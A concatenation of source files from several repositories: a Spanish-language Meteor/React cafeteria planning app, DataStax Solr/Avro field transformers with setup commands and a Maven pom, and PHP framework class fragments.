import {Recipes} from "../api/recipes.js";
class App extends Component {
render() {
return (
<Navbar demand={this.props.demand} materials={this.props.materials} recipes={this.props.recipes} dataReady={this.props.dataReady}/>
);
}
}
export default withTracker(() => {
let ready = [
Meteor.subscribe("Demand").ready(),
Meteor.subscribe("Materials").ready(),
Meteor.subscribe("Recipes").ready()
]
return {
demand: Demand.find({}).fetch(),
materials: Materials.find({}).fetch(),
recipes: Recipes.find({}).fetch(),
dataReady: ready
};
})(App);
<file_sep>import React, {Component} from "react";
import Description from "./Description";
class Dashboard extends Component {
constructor(props) {
super(props);
this.state = {};
}
render() {
return (
<div className="container-fluid">
<Description demand={this.props.demand} materials={this.props.materials} recipes={this.props.recipes} colorear={[]} policy = {this.props.policy}/>
</div>
);
}
}
export default Dashboard;
<file_sep>import React, {Component} from "react";
import {
Accordion,
AccordionItem,
AccordionItemTitle,
AccordionItemBody,
} from 'react-accessible-accordion';
import 'react-accessible-accordion/dist/fancy-example.css';
class Recipes extends Component {
names = ['Sopa', 'Arroz', 'Carne', 'Agua', '<NAME>', 'Gelatina', 'Tomate', 'Salmón', 'Verduras', 'Manzana', 'Brócoli', 'Huevo', 'Aguacate', 'Frutos secos', 'Pasta', 'Cereal', 'Leche', 'Pollo', 'Compota de frutas']
constructor(props) {
super(props);
this.handleInputChange = this.handleInputChange.bind(this);
this.handleInputChangeQuantity = this.handleInputChangeQuantity.bind(this);
}
handleInputChange(event) {
const target = event.target;
const value = target.value;
const name = target.name;
const parts = name.split(",")
const ingredient = parts[0]
const recipe = parts[1]
try {
const v = parseFloat(value)
if (v>=0){
Meteor.call("recipes.updateIngredients", recipe, ingredient, value)
}
}
catch (e) {
}
}
handleInputChangeQuantity(event) {
const target = event.target;
const value = target.value;
const name = target.name;
try {
const v = parseInt(value)
if (v>=0){
Meteor.call("recipes.updateQuantity", name, value)
}
}
catch (e) {
}
}
renderRecipeQuantities() {
return this.props.recipes.map((recipe)=>{
return (
<tr key={recipe._id}>
<td>{recipe.nombre}</td>
<td><input className="text-center"
onChange={this.handleInputChangeQuantity} name={`${recipe.nombre}`}
min="0" required="" type="number" defaultValue={recipe.cantidad}/>
</td>
</tr>
)
})
}
renderSana(){
return this.names.map((ingredient) => {
return (
<tr key={ingredient}>
<td className="first-row">{ingredient}</td>
<td><input className="form-control text-center"
onChange={this.handleInputChange} name={`${ingredient},${this.props.recipes[0].nombre}`}
min="0"
required="" type="number" step="0.1" defaultValue={this.props.recipes[0][ingredient]}/>
</td>
</tr>
)
});
}
renderCalorias(){
return this.names.map((ingredient) => {
return (
<tr key={ingredient}>
<td className="first-row">{ingredient}</td>
<td><input className="form-control text-center"
onChange={this.handleInputChange} name={`${ingredient},${this.props.recipes[1].nombre}`}
min="0"
required="" type="number" step="0.1" defaultValue={this.props.recipes[1][ingredient]}/>
</td>
</tr>
)
});
}
renderVitaminas(){
return this.names.map((ingredient) => {
return (
<tr key={ingredient}>
<td className="first-row">{ingredient}</td>
<td><input className="form-control text-center"
onChange={this.handleInputChange} name={`${ingredient},${this.props.recipes[2].nombre}`}
min="0"
required="" type="number" step="0.1" defaultValue={this.props.recipes[2][ingredient]}/>
</td>
</tr>
)
});
}
renderBalanceada(){
return this.names.map((ingredient) => {
return (
<tr key={ingredient}>
<td className="first-row">{ingredient}</td>
<td><input className="text-center"
onChange={this.handleInputChange} name={`${ingredient},${this.props.recipes[3].nombre}`}
min="0"
required="" type="number" step="0.1" defaultValue={this.props.recipes[3][ingredient]}/>
</td>
</tr>
)
});
}
renderVariada(){
return this.names.map((ingredient) => {
return (
<tr key={ingredient}>
<td className="first-row">{ingredient}</td>
<td><input className="form-control text-center"
onChange={this.handleInputChange} name={`${ingredient},${this.props.recipes[4].nombre}`}
min="0"
required="" type="number" step="0.1" defaultValue={this.props.recipes[4][ingredient]}/>
</td>
</tr>
)
});
}
renderBasica(){
return this.names.map((ingredient) => {
return (
<tr key={ingredient}>
<td className="first-row">{ingredient}</td>
<td><input onChange={this.handleInputChange} className="text-center"
name={`${ingredient},${this.props.recipes[5].nombre}`} min="0"
required="" type="number" step="0.1" defaultValue={this.props.recipes[5][ingredient]}/>
</td>
</tr>
)
});
}
render() {
return (
<div className="container-fluid">
<section class="wrapper style1">
<div class="container 75%">
<div class="row 200%">
<div class="6u 12u$(medium)">
<header class="major">
<h2>Platos requeridos por dieta</h2>
<p>Ingrese el número de platos necesarios por dieta</p>
<br/>
<img src="https://images.pexels.com/photos/95218/pexels-photo-95218.jpeg?auto=compress&cs=tinysrgb&dpr=2&h=650&w=940" width="80%"/>
</header>
</div>
<div class="6u$ 12u$(medium)">
<table>
<thead>
<tr>
<th>Receta</th>
<th>Platos</th>
</tr>
</thead>
<tbody>
{this.renderRecipeQuantities()}
</tbody>
</table>
</div>
</div>
</div>
</section>
<section className="wrapper style1">
<div className="container">
<header className="major special">
<h2>Ingredientes por receta</h2>
<p>Introduzca la cantidad que necesita de cada ingrediente para cada una de las recetas, haga click en la receta e introduzca la cantidad</p>
</header>
<div className="feature-grid">
<Accordion>
<AccordionItem>
<AccordionItemTitle>
<h4>{this.props.recipes[0] ? this.props.recipes[0].nombre : ""}</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Cantidad</th>
</tr>
</thead>
<tbody>
{this.props.recipes[0] ? this.renderSana() : <tr></tr>}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
<AccordionItem>
<AccordionItemTitle>
<h4>{this.props.recipes[1] ? this.props.recipes[1].nombre : ""}</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Cantidad</th>
</tr>
</thead>
<tbody>
{this.props.recipes[0] ? this.renderCalorias() : <tr></tr>}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
<AccordionItem>
<AccordionItemTitle>
<h4>{this.props.recipes[2] ? this.props.recipes[2].nombre : ""}</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Cantidad</th>
</tr>
</thead>
<tbody>
{this.props.recipes[0] ? this.renderVitaminas() : <tr></tr>}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
<AccordionItem>
<AccordionItemTitle>
<h4>{this.props.recipes[3] ? this.props.recipes[3].nombre : ""}</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Cantidad</th>
</tr>
</thead>
<tbody>
{this.props.recipes[0] ? this.renderBalanceada() : <tr></tr>}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
<AccordionItem>
<AccordionItemTitle>
<h4>{this.props.recipes[4] ? this.props.recipes[4].nombre : ""}</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Cantidad</th>
</tr>
</thead>
<tbody>
{this.props.recipes[0] ? this.renderVariada() : <tr></tr>}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
<AccordionItem>
<AccordionItemTitle>
<h4>{this.props.recipes[5] ? this.props.recipes[5].nombre : ""}</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Cantidad</th>
</tr>
</thead>
<tbody>
{this.props.recipes[0] ? this.renderBasica() : <tr></tr>}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
</Accordion>
<br/>
</div>
</div>
</section>
</div>
);
}
}
export default Recipes;<file_sep>import React, {Component} from "react";
import {BrowserRouter as Router, Switch, Route, NavLink} from 'react-router-dom';
import Dashboard from "../dashboard/Dashboard";
import Footer from "./Footer";
import Demand from "../parameters/Demand";
import SecurityStock from "../parameters/SecurityStock";
import LeadTimes from "../parameters/LeadTimes";
import Costs from "../parameters/Costs";
import Recipes from "../parameters/Recipes";
class Navbar extends Component {
constructor(props) {
super(props);
}
componentDidUpdate() {
if (this.props.dataReady[0]&&this.props.dataReady[1]&&this.props.dataReady[2]){
if (!this.props.materials[0]){
Meteor.call("demand.initialInsert")
Meteor.call("recipes.initialInsert")
Meteor.call("materials.initialInsert")
}
}
}
render() {
return (
<Router>
<div className="wrapper">
<header id="header">
<h1>Cafetería</h1>
<nav id="nav">
<ul>
<li>
<NavLink activeClassName="active-link" exact className="nav-link" to="/">
Silver Meal
</NavLink>
</li>
<li>
<NavLink activeClassName="active-link" exact className="nav-link" to="/MCU">
MCU
</NavLink>
</li>
<li>
<NavLink activeClassName="active-link" exact className="nav-link" to="/PPB">
PPB
</NavLink>
</li>
<li>
<NavLink activeClassName="active-link" exact className="nav-link" to="/demanda">
Cirugías
</NavLink>
</li>
<li>
<NavLink activeClassName="active-link" exact className="nav-link" to="/recetas">
Recetas
</NavLink>
</li>
<li>
<NavLink activeClassName="active-link" exact className="nav-link" to="/ss">
Security Stock
</NavLink>
</li>
<li>
<NavLink activeClassName="active-link" exact className="nav-link" to="/leadtimes">
Lead Times
</NavLink>
</li>
<li>
<NavLink activeClassName="active-link" exact className="nav-link" to="/costos">
Costos
</NavLink>
</li>
</ul>
</nav>
</header>
<div className="main-panel" >
<div className="container">
<Switch>
<Route exact path="/"
render={(props) => <Dashboard {...props} demand={this.props.demand} materials={this.props.materials} recipes={this.props.recipes} policy = "SM"/>}/>
<Route exact path="/MCU"
render={(props) => <Dashboard {...props} demand={this.props.demand} materials={this.props.materials} recipes={this.props.recipes} policy = "MCU"/>}/>
<Route exact path="/PPB"
render={(props) => <Dashboard {...props} demand={this.props.demand} materials={this.props.materials} recipes={this.props.recipes} policy = "PPB"/>}/>
<Route exact path="/demanda"
render={(props) => <Demand {...props} demand={this.props.demand}/>}/>
<Route exact path="/recetas"
render={(props) => <Recipes {...props} recipes={this.props.recipes}/>}/>
<Route exact path="/ss"
render={(props) => <SecurityStock {...props} materials={this.props.materials}/>}/>
<Route exact path="/leadtimes"
render={(props) => <LeadTimes {...props} materials={this.props.materials}/>}/>
<Route exact path="/costos"
render={(props) => <Costs {...props} materials={this.props.materials}/>}/>
</Switch>
</div>
<Footer/>
</div>
</div>
</Router>
);
}
}
export default Navbar;
<file_sep>import React, {Component} from "react";
class Footer extends Component {
render() {
return (
<footer id="footer">
<div className="container">
<ul className="copyright">
<li>© <NAME>, <NAME> y <NAME></li>
<li>Grupo 35</li>
<li>Control de Producción 2018</li>
</ul>
</div>
</footer>
);
}
}
export default Footer;
<file_sep>import { Mongo } from "meteor/mongo";
import { Meteor } from "meteor/meteor";
export const Recipes = new Mongo.Collection("Recipes");
if (Meteor.isServer) {
Meteor.publish("Recipes", () => {
return Recipes.find({});
});
}
Meteor.methods({
"recipes.updateIngredients"(name, ingredient, value) {
const res = Recipes.findOne({ nombre: name });
res[ingredient] = value;
Recipes.update({ nombre: name }, res)
},
"recipes.updateQuantity"(name, value) {
const res = Recipes.findOne({ nombre: name });
Recipes.update(res._id, {
$set: { cantidad: value },
});
},
"recipes.initialInsert"() {
data.forEach((recipe) => {
Recipes.insert(
recipe
)
})
}
});
const data = [{
"_id": "uCX3DWEDivBnaHEXK",
"nombre": "Sana",
"cantidad": "3",
"Sopa": "1",
"Arroz": "1",
"Carne": "1",
"Agua": "1",
"Yogurt griego": "1",
"Gelatina": "1",
"Tomate": "0",
"Salmón": "0",
"Verduras": "0",
"Manzana": "0",
"Brócoli": "0",
"Huevo": "0",
"Aguacate": "0",
"Frutos secos": "0",
"Pasta": "0",
"Cereal": "0",
"Leche": "0",
"Pollo": "0",
"Compota de frutas": "0"
},
{
"_id": "8Ky6aFXrJdiJTukZD",
"nombre": "Calorías y proteínas",
"cantidad": "7",
"Sopa": "0",
"Arroz": "0",
"Carne": "0",
"Agua": "0",
"Yogurt griego": "1",
"Gelatina": "0",
"Tomate": "0",
"Salmón": "1",
"Verduras": "1",
"Manzana": "1",
"Brócoli": "0",
"Huevo": "0",
"Aguacate": "0",
"Frutos secos": "0",
"Pasta": "0",
"Cereal": "0",
"Leche": "0",
"Pollo": "0",
"Compota de frutas": "0"
},
{
"_id": "4kK27cjp78FQP5k3c",
"nombre": "Vitaminas y proteínas",
"cantidad": "7",
"Sopa": "0",
"Arroz": "0",
"Carne": "0",
"Agua": "1",
"Yogurt griego": "0",
"Gelatina": "0",
"Tomate": "1",
"Salmón": "1",
"Verduras": "0",
"Manzana": "0",
"Brócoli": "1",
"Huevo": "2",
"Aguacate": "0",
"Frutos secos": "0",
"Pasta": "0",
"Cereal": "0",
"Leche": "0",
"Pollo": "0",
"Compota de frutas": "0"
},
{
"_id": "hr5PnNhhcsTyhXdtg",
"nombre": "Balanceada",
"cantidad": "2",
"Sopa": "0",
"Arroz": "0",
"Carne": "1",
"Agua": "0",
"Yogurt griego": "0",
"Gelatina": "0",
"Tomate": "0",
"Salmón": "0",
"Verduras": "0",
"Manzana": "0",
"Brócoli": "0",
"Huevo": "2",
"Aguacate": "0",
"Frutos secos": "0",
"Pasta": "1",
"Cereal": "1",
"Leche": "1",
"Pollo": "0",
"Compota de frutas": "0"
},
{
"_id": "rn4BhDQ3dhNaPmC5r",
"nombre": "Variada",
"cantidad": "3",
"Sopa": "0",
"Arroz": "0",
"Carne": "0",
"Agua": "0",
"Yogurt griego": "0",
"Gelatina": "0",
"Tomate": "0",
"Salmón": "0",
"Verduras": "0",
"Manzana": "0",
"Brócoli": "0",
"Huevo": "2",
"Aguacate": "0.5",
"Frutos secos": "1",
"Pasta": "1",
"Cereal": "0",
"Leche": "0",
"Pollo": "1",
"Compota de frutas": "0"
},
{
"_id": "jCQGLcyAs4iB4s8MY",
"nombre": "Básica",
"cantidad": "9",
"Sopa": "0",
"Arroz": "0",
"Carne": "0",
"Agua": "1",
"Yogurt griego": "0",
"Gelatina": "1",
"Tomate": "0",
"Salmón": "0",
"Verduras": "0",
"Manzana": "0",
"Brócoli": "0",
"Huevo": "0",
"Aguacate": "0",
"Frutos secos": "0",
"Pasta": "0",
"Cereal": "0",
"Leche": "0",
"Pollo": "0",
"Compota de frutas": "1"
}
]<file_sep>import React, {Component} from "react";
import {Meteor} from "meteor/meteor";
import {
Accordion,
AccordionItem,
AccordionItemTitle,
AccordionItemBody,
} from 'react-accessible-accordion';
import 'react-accessible-accordion/dist/fancy-example.css';
class SecurityStock extends Component {
constructor(props) {
super(props);
this.handleInputChange = this.handleInputChange.bind(this);
}
handleInputChange(event) {
const target = event.target;
const value = target.value;
const name = target.name;
const parts = name.split(",")
const material = parts[0]
const period = parts[1]
try {
const v = parseInt(value)
if (v >= 0 && v <= 100) {
Meteor.call("materials.updateSS", material, period, value)
}
}
catch (e) {
}
}
renderSSEnero(){
return this.props.materials.map((material) => {
return (
<tr key={material._id}>
<td>{material.nombre}</td>
<td><input className="form-control text-center" onChange={this.handleInputChange}
name={`${material.nombre},primero`} min="0"
max="100" required="" type="range" list="tickmarks" step="5" defaultValue={material.ss.primero}/></td>
<td>{material.ss.primero}%</td>
</tr>
)
});
}
renderSSFebrero(){
return this.props.materials.map((material) => {
return (
<tr key={material._id}>
<td>{material.nombre}</td>
<td><input className="form-control text-center" onChange={this.handleInputChange}
name={`${material.nombre},segundo`} min="0"
max="100" required="" type="range" list="tickmarks" step="5" defaultValue={material.ss.segundo}/></td>
<td>{material.ss.segundo}%</td>
</tr>
)
});
}
renderSSMarzo(){
return this.props.materials.map((material) => {
return (
<tr key={material._id}>
<td>{material.nombre}</td>
<td><input className="form-control text-center" onChange={this.handleInputChange}
name={`${material.nombre},tercero`} min="0"
max="100" required="" type="range" list="tickmarks" step="5" defaultValue={material.ss.tercero}/></td>
<td>{material.ss.tercero}%</td>
</tr>
)
});
}
renderSSAbril(){
return this.props.materials.map((material) => {
return (
<tr key={material._id}>
<td>{material.nombre}</td>
<td><input className="form-control text-center" onChange={this.handleInputChange}
name={`${material.nombre},cuarto`} min="0"
max="100" required="" type="range" list="tickmarks" step="5" defaultValue={material.ss.cuarto}/></td>
<td>{material.ss.cuarto}%</td>
</tr>
)
});
}
renderSSMayo(){
return this.props.materials.map((material) => {
return (
<tr key={material._id}>
<td>{material.nombre}</td>
<td><input className="form-control text-center" onChange={this.handleInputChange}
name={`${material.nombre},quinto`} min="0"
max="100" required="" type="range" list="tickmarks" step="5" defaultValue={material.ss.quinto}/></td>
<td>{material.ss.quinto}%</td>
</tr>
)
});
}
renderSSJunio(){
return this.props.materials.map((material) => {
return (
<tr key={material._id}>
<td>{material.nombre}</td>
<td><input className="form-control text-center" onChange={this.handleInputChange}
name={`${material.nombre},sexto`} min="0"
max="100" required="" type="range" list="tickmarks" step="5" defaultValue={material.ss.sexto}/></td>
<td>{material.ss.sexto}%</td>
</tr>
)
});
}
render() {
return (
<section className="wrapper style1">
<div className="container">
<div className="row 200%">
<div className="6u 12u$(medium)">
<header class="major">
<h2>Security Stock</h2>
<p>Para cada mes puede ingresar el nivel de stock de seguridad que desea tener, haga click en el mes e ingrese los datos</p>
<br/>
<img src="https://images.pexels.com/photos/680302/pexels-photo-680302.jpeg?auto=compress&cs=tinysrgb&dpr=2&h=650&w=940" width="100%"/>
</header>
</div>
<div className="6u$ 12u$(medium)">
<Accordion>
<AccordionItem>
<AccordionItemTitle>
<h4>Enero 2019</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Security Stock</th>
</tr>
</thead>
<tbody>
{this.renderSSEnero()}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
<AccordionItem>
<AccordionItemTitle>
<h4>Febrero 2019</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Security Stock</th>
</tr>
</thead>
<tbody>
{this.renderSSFebrero()}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
<AccordionItem>
<AccordionItemTitle>
<h4>Marzo 2019</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Security Stock</th>
</tr>
</thead>
<tbody>
{this.renderSSMarzo()}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
<AccordionItem>
<AccordionItemTitle>
<h4>Abril 2019</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Security Stock</th>
</tr>
</thead>
<tbody>
{this.renderSSAbril()}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
<AccordionItem>
<AccordionItemTitle>
<h4>Mayo 2019</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Security Stock</th>
</tr>
</thead>
<tbody>
{this.renderSSMayo()}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
<AccordionItem>
<AccordionItemTitle>
<h4>Junio 2019</h4>
</AccordionItemTitle>
<AccordionItemBody>
<div className="table-wrapper">
<table>
<thead>
<tr>
<th>Ingrediente</th>
<th>Security Stock</th>
</tr>
</thead>
<tbody>
{this.renderSSJunio()}
</tbody>
</table>
</div>
</AccordionItemBody>
</AccordionItem>
</Accordion>
<br/>
</div>
</div>
</div>
<datalist id="tickmarks">
<option value="0" label="0%"/>
<option value="10"/>
<option value="20"/>
<option value="30"/>
<option value="40"/>
<option value="50" label="50%"/>
<option value="60"/>
<option value="70"/>
<option value="80"/>
<option value="90"/>
<option value="100" label="100%"/>
</datalist>
</section>
);
}
}
export default SecurityStock;
|
5617460b722e21d21a67bdd745e7d45f87d73dfb
|
[
"JavaScript"
] | 7 |
JavaScript
|
bgamba10/ProyectoFase2
|
166ed6d4c0adb71432bbbedd6f98b36b672b2a61
|
7c6842b7fb18ca068022d5f70ae7174a476e0d43
|
refs/heads/master
|
<file_sep>$ cd ~/IdeaProjects/bdp && cp ../dse-demo/target/dse-demo-1.0-SNAPSHOT.jar resources/solr/lib/ && cd -
insert into solr (id, json) values (1, '{"city":"brasilia","state":"df", "country":"brasil"}');
insert into solr (id, json) values (2, '{"city":"goiania","state":"go", "country":"brasil"}');
insert into solr (id, json) values (3, '{"city":"rio de janeiro","state":"rj", "country":"brasil"}');
$ export BLOG_PATH=/Users/edward/IdeaProjects/dse-demo/src/main/resources
$ ./create-schema.sh -t $BLOG_PATH/create-table.cql -x $BLOG_PATH/schema.xml -r $BLOG_PATH/solrconfig.xml -k blog.solr
create table post (id int primary key, post blob);
create table post (id int primary key, post text);
insert into post (id, post) values (5, textAsBlob('hello'));
insert into post (id, post) values (88, 0xcafe);
cd IdeaProjects/dse-demo/ && mvn package
cd ~/IdeaProjects/bdp && cp ../dse-demo/target/dse-demo-1.0-SNAPSHOT.jar resources/solr/lib/ && cd -
cd ~/IdeaProjects/bdp && cp ../dse-demo/target/dse-demo-1.0-SNAPSHOT.jar resources/solr/lib/
curl http://localhost:8983/solr/resource/blog.solr/solrconfig.xml --data-binary @solrconfig-json.xml -H 'Content-type:text/xml; charset=utf-8'
curl http://localhost:8983/solr/resource/blog.solr/schema.xml --data-binary @schema-json.xml -H 'Content-type:text/xml; charset=utf-8'
curl -X POST "http://localhost:8983/solr/admin/cores?action=CREATE&name=blog.solr"
curl http://localhost:8983/solr/resource/blog.post/solrconfig.xml --data-binary @solrconfig-avro.xml -H 'Content-type:text/xml; charset=utf-8'
curl http://localhost:8983/solr/resource/blog.post/schema.xml --data-binary @schema-avro.xml -H 'Content-type:text/xml; charset=utf-8'
curl -X POST "http://localhost:8983/solr/admin/cores?action=CREATE&name=blog.post"<file_sep>drop keyspace blog;
CREATE KEYSPACE blog WITH REPLICATION = { 'class' : 'SimpleStrategy', 'replication_factor' : 1 };
USE blog;
create table solr (
"id" INT PRIMARY KEY,
"json" VARCHAR);
insert into solr (id, json) values (1, '{"city":"brasilia","state":"df", "country":"brasil"}');
insert into solr (id, json) values (2, '{"city":"goiania","state":"go", "country":"brasil"}');
insert into solr (id, json) values (3, '{"city":"rio de janeiro","state":"rj", "country":"brasil"}');
<file_sep>package br.eribeiro.dse.search;
import com.datastax.bdp.search.solr.FieldInputTransformer;
import com.fasterxml.jackson.databind.ObjectMapper;
import example.avro.User;
import org.apache.lucene.document.Document;
import org.apache.solr.core.SolrCore;
import org.apache.solr.schema.IndexSchema;
import org.apache.solr.schema.SchemaField;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
public class AvroFieldInputTransformer extends FieldInputTransformer
{
private static final Logger LOGGER = LoggerFactory.getLogger(AvroFieldInputTransformer.class);
@Override
public boolean evaluate(String field)
{
return field.equals("post");
}
@Override
public void addFieldToDocument(SolrCore core, IndexSchema schema, String key, Document doc, SchemaField fieldInfo, String fieldValue, float boost, DocumentHelper helper) throws IOException
{
try
{
LOGGER.info("Avro AvroFieldInputTransformer called");
LOGGER.info("Avro fieldValue: " + fieldValue);
User user = AvroCodec.decodeHexStringAsAvroObject(fieldValue);
LOGGER.info("Avro => " + user.toString());
SchemaField avroName = core.getLatestSchema().getFieldOrNull("name");
SchemaField avroAge = core.getLatestSchema().getFieldOrNull("age");
SchemaField avroCity = core.getLatestSchema().getFieldOrNull("city");
SchemaField avroCountry = core.getLatestSchema().getFieldOrNull("country");
helper.addFieldToDocument(core, core.getLatestSchema(), key, doc, avroName, String.valueOf(user.getName()), boost);
helper.addFieldToDocument(core, core.getLatestSchema(), key, doc, avroAge, String.valueOf(user.getAge()), boost);
helper.addFieldToDocument(core, core.getLatestSchema(), key, doc, avroCity, String.valueOf(user.getCity()), boost);
helper.addFieldToDocument(core, core.getLatestSchema(), key, doc, avroCountry, String.valueOf(user.getCountry()), boost);
}
catch (Exception ex)
{
LOGGER.error(ex.getMessage());
throw new RuntimeException(ex);
}
}
}
<file_sep><?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>br.eribeiro.dse</groupId>
<artifactId>dse-fit-demo</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.datastax</groupId>
<artifactId>dse</artifactId>
<version>4.6.1</version>
</dependency>
<dependency>
<groupId>org.apache.solr</groupId>
<artifactId>solr-core</artifactId>
<version>4.6.0.3.4-SNAPSHOT</version>
</dependency>
<dependency>
<groupId>com.datastax.cassandra</groupId>
<artifactId>cassandra-driver-core</artifactId>
<version>2.1.4</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.4.4</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.2</version>
</dependency>
<dependency>
<groupId>org.apache.avro</groupId>
<artifactId>avro</artifactId>
<version>1.7.7</version>
</dependency>
<dependency>
<groupId>org.apache.avro</groupId>
<artifactId>avro-ipc</artifactId>
<version>1.7.7</version>
</dependency>
</dependencies>
<build>
<finalName>dse-fit-demo</finalName>
<plugins>
<plugin>
<groupId>org.apache.avro</groupId>
<artifactId>avro-maven-plugin</artifactId>
<version>1.7.7</version>
<executions>
<execution>
<phase>generate-sources</phase>
<goals>
<goal>schema</goal>
</goals>
<configuration>
<sourceDirectory>${project.basedir}/src/main/avro/</sourceDirectory>
<outputDirectory>${project.basedir}/src/main/java/</outputDirectory>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.7</source>
<target>1.7</target>
</configuration>
</plugin>
<!--<plugin>-->
<!--<artifactId>maven-assembly-plugin</artifactId>-->
<!--<executions>-->
<!--<execution>-->
<!--<phase>package</phase>-->
<!--<goals>-->
<!--<goal>single</goal>-->
<!--</goals>-->
<!--</execution>-->
<!--</executions>-->
<!--<configuration>-->
<!--<descriptorRefs>-->
<!--<descriptorRef>jar-with-dependencies</descriptorRef>-->
<!--</descriptorRefs>-->
<!--</configuration>-->
<!--</plugin>-->
<!--<plugin>-->
<!--<groupId>org.apache.maven.plugins</groupId>-->
<!--<artifactId>maven-shade-plugin</artifactId>-->
<!--<version>2.3</version>-->
<!--<executions>-->
<!--<execution>-->
<!--<phase>package</phase>-->
<!--<goals>-->
<!--<goal>shade</goal>-->
<!--</goals>-->
<!--<configuration>-->
<!--<artifactSet>-->
<!--<excludes>-->
<!--<exclude>classworlds:classworlds</exclude>-->
<!--<exclude>junit:junit</exclude>-->
<!--<exclude>jmock:*</exclude>-->
<!--<exclude>*:xml-apis</exclude>-->
<!--<exclude>org.apache.maven:lib:tests</exclude>-->
<!--<exclude>log4j:log4j:jar:</exclude>-->
<!--</excludes>-->
<!--</artifactSet>-->
<!--</configuration>-->
<!--</execution>-->
<!--</executions>-->
<!--</plugin>-->
</plugins>
</build>
</project>
<file_sep>package br.eribeiro.dse.search;
import com.datastax.bdp.search.solr.FieldOutputTransformer;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.apache.lucene.index.FieldInfo;
import org.apache.lucene.index.StoredFieldVisitor;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
public class JsonFieldOutputTransformer extends FieldOutputTransformer
{
private static final Logger LOGGER = LoggerFactory.getLogger(JsonFieldOutputTransformer.class);
@Override
public void stringField(FieldInfo fieldInfo,
String value,
StoredFieldVisitor visitor,
DocumentHelper helper) throws IOException
{
ObjectMapper mapper = new ObjectMapper();
LOGGER.info("name: " + fieldInfo.name + ", value: " + value);
try
{
City city = mapper.readValue(value.getBytes(), City.class);
FieldInfo json_city_fi = helper.getFieldInfo("city");
FieldInfo json_state_fi = helper.getFieldInfo("state");
FieldInfo json_country_fi = helper.getFieldInfo("country");
if (city.getCity() != null)
{
visitor.stringField(json_city_fi, city.getCity());
}
if (city.getState() != null)
{
visitor.stringField(json_state_fi, city.getState());
}
if (city.getCountry() != null)
{
visitor.stringField(json_country_fi, city.getCountry());
}
}
catch (IOException e)
{
LOGGER.error(fieldInfo.name + " " + e.getMessage());
throw e;
}
}
}
<file_sep>USE blog;
create table post (
"id" INT PRIMARY KEY,
"post" VARCHAR);
|
464e15ae830fec4280d11bc34ce311efaa3a81a4
|
[
"Markdown",
"SQL",
"Java",
"Maven POM"
] | 6 |
Markdown
|
eribeiro/datastax-fit-demo
|
3078b6cd2bf34b1c35ad4329fd85e21beb82c374
|
7e35f31f2a9b31c6f19e1947c7b46e9e97ecd8bf
|
refs/heads/master
|
<file_sep><?php
class HtmlInput extends HtmlWidget
{
public function __construct($name_or_attrs = null, $parent = null)
{
if(is_string($name_or_attrs))
$name_or_attrs = array(
'type'=>'text',
'name'=>$name_or_attrs,
'id'=>$name_or_attrs);
parent::__construct('input', $name_or_attrs, $parent);
}
}
<file_sep><?php
class ColumnText extends TableColumn
{
public function correctValue(&$value, &$message = null, $strict = false)
{
if(is_string($value))
return true;
$message = "Value is not string";
if($strict)
return false;
}
}<file_sep><?php
/**
* Debugging utilities
*
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
// make this independent on PhpSkelet Framework
//require_once __DIR__.'/../PhpSkelet.php';
//require_once __DIR__.'/../Patterns/Singleton.php';
/**
* Debugging visualization is gathered here
*
* @author langpavel
*/
class Debug extends SafeObject //extends Singleton
